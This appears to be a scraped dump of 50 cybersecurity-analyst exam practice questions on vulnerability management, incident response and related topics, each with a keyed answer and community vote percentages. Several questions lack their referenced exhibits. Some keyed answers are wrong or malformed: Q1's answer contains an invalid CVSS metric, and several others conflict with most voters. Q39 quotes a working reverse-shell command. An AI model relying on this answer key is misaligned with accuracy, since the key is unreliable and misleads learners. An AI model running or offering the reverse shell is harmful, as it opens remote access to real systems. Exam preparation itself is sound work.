Question #1Topic 1

A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege
escalation, and has a significant impact to confidentiality and integrity but not to availability. Which
of the following CVE metrics would be most accurate for this zero-day threat?

A. CVSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:K/A:L
B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H
D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H

Correct Answer: A

Community vote distribution

A (82%)
B (18%)

Question #2Topic 1
Which of the following tools would work best to prevent the exposure of PII outside of an
organization?

A. PAM
B. IDS
C. PKI
D. DLP

Correct Answer: D

Community vote distribution

D (100%)
Question #3Topic 1
An organization conducted a web application vulnerability assessment against the corporate website,
and the following output was observed:

Which of the following tuning recommendations should the security analyst share?

A. Set an HttpOnly flag to force communication by HTTPS

B. Block requests without an X-Frame-Options header
C. Configure an Access-Control-Allow-Origin header to authorized domains
D. Disable the cross-origin resource sharing header

Correct Answer: B

Community vote distribution

C (87%)
13%

Question #4Topic 1
Which of the following items should be included in a vulnerability scan report? (Choose two.)
A. Lessons learned
B. Service-level agreement
C. Playbook
D. Affected hosts
E. Risk score
F. Education plan
Correct Answer: DE

Community vote distribution

DE (100%)

Question #5Topic 1
The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the
industry was happening approximately 45 days after a patch was released. Which of the following
would best protect this organization?

A. A mean time to remediate of 30 days

B. A mean time to detect of 45 days
C. A mean time to respond of 15 days
D. Third-party application testing

Correct Answer: A

Community vote distribution

A (76%)
C (24%)

Question #6Topic 1
A security analyst recently joined the team and is trying to determine which scripting language is
being used in a production script to determine if it is malicious. Given the following script:

Which of the following scripting languages was used in the script?

A. PowerShell
B. Ruby
C. Python
D. Shell script
Correct Answer: A

Community vote distribution

A (100%)

Question #7Topic 1
A company's user accounts have been compromised. Users are also reporting that the company's
internal portal is sometimes only accessible through HTTP, other times; it is accessible through
HTTPS. Which of the following most likely describes the observed activity?

A. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS
access
B. An on-path attack is being performed by someone with internal access that forces users into port 80
Most Voted
C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port
80
D. An error was caused by BGP due to new rules applied over the company's internal routers

Correct Answer: B

Community vote distribution

B (100%)

Question #8Topic 1
A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company
security policies are shown below:
Security Policy 1006: Vulnerability Management
1. The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize
the remediation of security vulnerabilities.
2. In situations where a choice must be made between confidentiality and availability, the Company
shall prioritize confidentiality of data over availability of systems and data.
3. The Company shall prioritize patching of publicly available systems and services over patching of
internally available system.
According to the security policy, which of the following vulnerabilities should be the highest priority
to patch?
A. Name: THOR.HAMMER -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Internal System
B. Name: CAP.SHIELD -
CVSS 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
External System
C. Name: LOKI.DAGGER -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
External System
D. Name: THANOS.GAUNTLET -
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Internal System

Correct Answer: B

Community vote distribution

B (88%)
12%

Question #9Topic 1
Which of the following will most likely ensure that mission-critical services are available in the event
of an incident?

A. Business continuity plan

B. Vulnerability management plan
C. Disaster recovery plan
D. Asset management plan

Correct Answer: C

Community vote distribution

A (70%)
C (28%)
2%

Question #10Topic 1
The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise.
Several high-risk cloud applications are used that increase the risk to the organization. Which of the
following solutions will assist in reducing the risk?

A. Deploy a CASB and enable policy enforcement

B. Configure MFA with strict access
C. Deploy an API gateway
D. Enable SSO to the cloud applications

Correct Answer: A

Community vote distribution

A (100%)

Question #11Topic 1
An incident response team receives an alert to start an investigation of an internet outage. The outage
is preventing all users in multiple locations from accessing external SaaS resources. The team
determines the organization was impacted by a DDoS attack. Which of the following logs should the
team review first?

A. CDN
B. Vulnerability scanner
C. DNS Most Voted
D. Web server

Correct Answer: C

Community vote distribution

C (79%)
12%
9%
Question #12Topic 1
A malicious actor has gained access to an internal network by means of social engineering. The actor
does not want to lose access in order to continue the attack. Which of the following best describes the
current stage of the Cyber Kill Chain that the threat actor is currently operating in?

A. Weaponization
B. Reconnaissance
C. Delivery
D. Exploitation

Correct Answer: D

Community vote distribution

D (100%)

Question #13Topic 1
An analyst finds that an IP address outside of the company network that is being used to run network
and vulnerability scans across external-facing assets. Which of the following steps of an attack
framework is the analyst witnessing?

A. Exploitation
B. Reconnaissance
C. Command and control
D. Actions on objectives

Correct Answer: B

Community vote distribution

B (100%)

Question #14Topic 1
An incident response analyst notices multiple emails traversing the network that target only the
administrators of the company. The email contains a concealed URL that leads to an unknown website
in another country. Which of the following best describes what is happening? (Choose two.)
A. Beaconing
B. Domain Name System hijacking
C. Social engineering attack
D. On-path attack
E. Obfuscated links
F. Address Resolution Protocol poisoning

Correct Answer: CE

Community vote distribution

CE (85%)
Other

Question #15Topic 1
During security scanning, a security analyst regularly finds the same vulnerabilities in a critical
application. Which of the following recommendations would best mitigate this problem if applied
along the SDLC phase?

A. Conduct regular red team exercises over the application in production

B. Ensure that all implemented coding libraries are regularly checked
C. Use application security scanning as part of the pipeline for the CI/CD flow
D. Implement proper input validation for any data entry form

Correct Answer: C

Community vote distribution

C (93%)
7%

Question #16Topic 1
An analyst is reviewing a vulnerability report and must make recommendations to the executive team.
The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime
window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the
company does not have access to. Which of the following inhibitors to remediation do these systems
and associated vulnerabilities best represent?

A. Proprietary systems
B. Legacy systems
C. Unsupported operating systems
D. Lack of maintenance windows

Correct Answer: B

Community vote distribution

A (95%)
5%

Question #17Topic 1
The security team reviews a web server for XSS and runs the following Nmap scan:

Which of the following most accurately describes the result of the scan?

A. An output of characters > and " as the parameters used m the attempt
B. The vulnerable parameter ID http://172.31.15.2/1.php?id-2 and unfiltered characters returned
C. The vulnerable parameter and unfiltered or encoded characters passed > and " as unsafe
D. The vulnerable parameter and characters > and " with a reflected XSS attempt

Correct Answer: D

Community vote distribution

D (100%)

Question #18Topic 1
Which of the following is the best action to take after the conclusion of a security incident to improve
incident response in the future?

A. Develop a call tree to inform impacted users

B. Schedule a review with all teams to discuss what occurred
C. Create an executive summary to update company leadership
D. Review regulatory compliance with public relations for official notification

Correct Answer: B

Community vote distribution

B (100%)

Question #19Topic 1
A security analyst received a malicious binary file to analyze. Which of the following is the best
technique to perform the analysis?

A. Code analysis
B. Static analysis
C. Reverse engineering
D. Fuzzing

Correct Answer: B

Community vote distribution

C (76%)
B (24%)

Question #20Topic 1
An incident response team found IoCs in a critical server. The team needs to isolate and collect
technical evidence for further investigation. Which of the following pieces of data should be collected
first in order to preserve sensitive information before isolating the server?

A. Hard disk
B. Primary boot partition
C. Malicious files
D. Routing table
E. Static IP address

Correct Answer: C

Community vote distribution

D (73%)
14%
13%

Question #21Topic 1
Which of the following security operations tasks are ideal for automation?

A. Suspicious file analysis:

Look for suspicious-looking graphics in a folder.
Create subfolders in the original folder based on category of graphics found.
Move the suspicious graphics to the appropriate subfolder
B. Firewall IoC block actions:
Examine the firewall logs for IoCs from the most recently published zero-day exploit
Take mitigating actions in the firewall to block the behavior found in the logs
Follow up on any false positives that were caused by the block rules Most Voted
C. Security application user errors:
Search the error logs for signs of users having trouble with the security application

Look up the user's phone number -

Call the user to help with any questions about using the application
D. Email header analysis:
Check the email header for a phishing confidence metric greater than or equal to five
Add the domain of sender to the block list
Move the email to quarantine

Correct Answer: B

Community vote distribution

D (64%)
B (36%)

Question #22Topic 1
An organization has experienced a breach of customer transactions. Under the terms of PCI DSS,
which of the following groups should the organization report the breach to?

A. PCI Security Standards Council

B. Local law enforcement
C. Federal law enforcement
D. Card issuer

Correct Answer: D

Community vote distribution

D (100%)

Question #23Topic 1
Which of the following is the best metric for an organization to focus on given recent investments in
SIEM, SOAR, and a ticketing system?
A. Mean time to detect
B. Number of exploits by tactic
C. Alert volume
D. Quantity of intrusion attempts
Correct Answer: A

Community vote distribution

A (100%)

Question #24Topic 1
A company is implementing a vulnerability management program and moving from an on-premises
environment to a hybrid IaaS cloud environment. Which of the following implications should be
considered on the new hybrid environment?

A. The current scanners should be migrated to the cloud

B. Cloud-specific misconfigurations may not be detected by the current scanners
C. Existing vulnerability scanners cannot scan IaaS systems
D. Vulnerability scans on cloud environments should be performed from the cloud

Correct Answer: B

Community vote distribution

B (100%)

Question #25Topic 1
A security alert was triggered when an end user tried to access a website that is not allowed per
organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the
authentication logs, web logs, and temporary files, reflecting the web searches from the user's
workstation, to build the case for the investigation. Which of the following is the best way to ensure
that the investigation complies with HR or privacy policies?

A. Create a timeline of events detailing the date stamps, user account hostname and IP information
associated with the activities
B. Ensure that the case details do not reflect any user-identifiable information Password protect the
evidence and restrict access to personnel related to the investigation
C. Create a code name for the investigation in the ticketing system so that all personnel with access
will not be able to easily identify the case as an HR-related investigation
D. Notify the SOC manager for awareness after confirmation that the activity was intentional
Correct Answer: B

Community vote distribution

B (100%)

Question #26Topic 1
Which of the following is the first step that should be performed when establishing a disaster recovery
plan?

A. Agree on the goals and objectives of the plan

B. Determine the site to be used during a disaster
C. Demonstrate adherence to a standard disaster recovery process
D. Identify applications to be run during a disaster

Correct Answer: A

Community vote distribution

A (100%)

Question #27Topic 1
A technician identifies a vulnerability on a server and applies a software patch. Which of the
following should be the next step in the remediation process?

A. Testing
B. Implementation
C. Validation
D. Rollback

Correct Answer: C

Community vote distribution

C (65%)
A (35%)
Question #28Topic 1
The analyst reviews the following endpoint log entry:

Which of the following has occurred?

A. Registry change
B. Rename computer
C. New account introduced
D. Privilege escalation

Correct Answer: C

Community vote distribution

C (100%)

Question #29Topic 1
A security program was able to achieve a 30% improvement in MTTR by integrating security controls
into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes
what the security program did?

A. Data enrichment
B. Security control plane
C. Threat feed combination
D. Single pane of glass

Correct Answer: D

Community vote distribution

D (93%)
7%
Question #30Topic 1
Due to reports of unauthorized activity that was occurring on the internal network, an analyst is
performing a network discovery. The analyst runs an Nmap scan against a corporate network to
evaluate which devices were operating in the environment. Given the following output:
Which of the following choices should the analyst look at first?

A. wh4dc-748gy.lan (192.168.86.152)
B. officerckuplayer.lan (192.168.86.22)
C. imaging.lan (192.168.86.150)
D. xlaptop.lan (192.168.86.249)
E. p4wnp1_aloa.lan (192.168.86.56)

Correct Answer: E

Community vote distribution

E (100%)
Question #31Topic 1
When starting an investigation, which of the following must be done first?

A. Notify law enforcement

B. Secure the scene
C. Seize all related evidence
D. Interview the witnesses

Correct Answer: B

Community vote distribution

B (100%)

Question #32Topic 1
Which of the following describes how a CSIRT lead determines who should be communicated with
and when during a security incident?

A. The lead should review what is documented in the incident response policy or plan
B. Management level members of the CSIRT should make that decision
C. The lead has the authority to decide who to communicate with at any t me
D. Subject matter experts on the team should communicate with others within the specified area of
expertise

Correct Answer: A

Community vote distribution

A (100%)
Question #33Topic 1
A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the
organization. Which of the following will produce the data needed for the briefing?
A. Firewall logs
B. Indicators of compromise
C. Risk assessment
D. Access control lists
Correct Answer: B

Community vote distribution

C (59%)
B (41%)

Question #34Topic 1
An analyst notices there is an internal device sending HTTPS traffic with additional characters in the
header to a known-malicious IP in another country. Which of the following describes what the analyst
has noticed?

A. Beaconing
B. Cross-site scripting
C. Buffer overflow
D. PHP traversal

Correct Answer: A

Community vote distribution

A (100%)

Question #35Topic 1
A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a
potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can
see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is
not showing the packets containing the file transfer itself. Which of the following can the analyst
perform to see the entire contents of the downloaded files?

A. Change the display filter to ftp.active.port

B. Change the display filter to tcp.port==20
C. Change the display filter to ftp-data and follow the TCP streams
D. Navigate to the File menu and select FTP from the Export objects option
Correct Answer: C

Community vote distribution

C (100%)

Question #36Topic 1
A SOC manager receives a phone call from an upset customer. The customer received a vulnerability
report two hours ago: but the report did not have a follow-up remediation response from an analyst.
Which of the following documents should the SOC manager review to ensure the team is meeting the
appropriate contractual obligations for the customer?

A. SLA
B. MOU
C. NDA
D. Limitation of liability

Correct Answer: A

Community vote distribution

A (100%)

Question #37Topic 1
Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish
communication with a successfully exploited target?

A. Command and control

B. Actions on objectives
C. Exploitation
D. Delivery

Correct Answer: A

Community vote distribution

A (100%)
Question #38Topic 1
A company that has a geographically diverse workforce and dynamic IPs wants to implement a
vulnerability scanning method with reduced network traffic. Which of the following would best meet
this requirement?

A. External
B. Agent-based
C. Non-credentialed
D. Credentialed

Correct Answer: B

Community vote distribution

B (100%)

Question #39Topic 1
A security analyst detects an exploit attempt containing the following command: sh -i >&
/dev/udp/10.1.1.1/4821 0>$l
Which of the following is being attempted?

A. RCE
B. Reverse shell
C. XSS
D. SQL injection

Correct Answer: B

Community vote distribution

B (100%)

Question #40Topic 1
An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely
available exploit being used to deliver ransomware. Which of the following factors would an analyst
most likely communicate as the reason for this escalation?

A. Scope
B. Weaponization
C. CVSS
D. Asset value

Correct Answer: B

Community vote distribution

B (100%)

Question #41Topic 1
An analyst is reviewing a vulnerability report for a server environment with the following entries:
Which of the following systems should be prioritized for patching first?
A. 10.101.27.98
B. 54.73.225.17
C. 54.74.110.26
D. 54.74.110.228 Most Voted

Correct Answer: D

Community vote distribution

D (100%)

Question #42Topic 1
A company is in the process of implementing a vulnerability management program, and there are
concerns about granting the security team access to sensitive data. Which of the following scanning
methods can be implemented to reduce the access to systems while providing the most accurate
vulnerability scan results?

A. Credentialed network scanning

B. Passive scanning
C. Agent-based scanning
D. Dynamic scanning

Correct Answer: A

Community vote distribution

C (80%)
A (20%)

Question #43Topic 1
A security analyst is trying to identify anomalies on the network routing. Which of the following
functions can the analyst use on a shell script to achieve the objective most accurately?

A. function x() { info=$(geoiplookup $1) && echo "$1 | $info" }

B. function x() { info=$(ping -c 1 $1 | awk -F "/" ’END{print $5}’) && echo "$1 | $info" }
C. function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" ’{print $1}
').origin.asn.cymru.com TXT +short) && echo "$1 | $info" }
D. function x() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo "$1 | $info" }

Correct Answer: C

Community vote distribution

D (81%)
C (19%)

Question #44Topic 1
There are several reports of sensitive information being disclosed via file sharing services. The
company would like to improve its security posture against this threat. Which of the following
security controls would best support the company in this scenario?

A. Implement step-up authentication for administrators

B. Improve employee training and awareness
C. Increase password complexity standards
D. Deploy mobile device management

Correct Answer: B

Community vote distribution

B (100%)

Question #45Topic 1
Which of the following is the best way to begin preparation for a report titled "What We Learned"
regarding a recent incident involving a cybersecurity breach?

A. Determine the sophistication of the audience that the report is meant for
B. Include references and sources of information on the first page
C. Include a table of contents outlining the entire report
D. Decide on the color scheme that will effectively communicate the metrics
Correct Answer: A

Community vote distribution

A (100%)

Question #46Topic 1
A security analyst is performing an investigation involving multiple targeted Windows malware
binaries. The analyst wants to gather intelligence without disclosing information to the attackers.
Which of the following actions would allow the analyst to achieve the objective?

A. Upload the binary to an air gapped sandbox for analysis

B. Send the binaries to the antivirus vendor
C. Execute the binaries on an environment with internet connectivity
D. Query the file hashes using VirusTotal

Correct Answer: A

Community vote distribution

A (64%)
D (36%)

Question #47Topic 1
Which of the following would help to minimize human engagement and aid in process improvement
in security operations?

A. OSSTMM
B. SIEM
C. SOAR
D. OWASP

Correct Answer: C

Community vote distribution

C (100%)
Question #48Topic 1
After conducting a cybersecurity risk assessment for a new software request, a Chief Information
Security Officer (CISO) decided the risk score would be too high. The CISO refused the software
request. Which of the following risk management principles did the CISO select?

A. Avoid
B. Transfer
C. Accept
D. Mitigate

Correct Answer: A

Community vote distribution

A (100%)

Question #49Topic 1
Which of the following is an important aspect that should be included in the lessons-learned step after
an incident?

A. Identify any improvements or changes in the incident response plan or procedures

B. Determine if an internal mistake was made and who did it so they do not repeat the error
C. Present all legal evidence collected and turn it over to iaw enforcement
D. Discuss the financial impact of the incident to determine if security controls are well spent

Correct Answer: A

Community vote distribution

A (100%)

Question #50Topic 1
The security operations team is required to consolidate several threat intelligence feeds due to
redundant tools and portals. Which of the following will best achieve the goal and maximize results?
A. Single pane of glass
B. Single sign-on
C. Data enrichment
D. Deduplication

Correct Answer: A

Community vote distribution

A (75%)
D (20%)
5%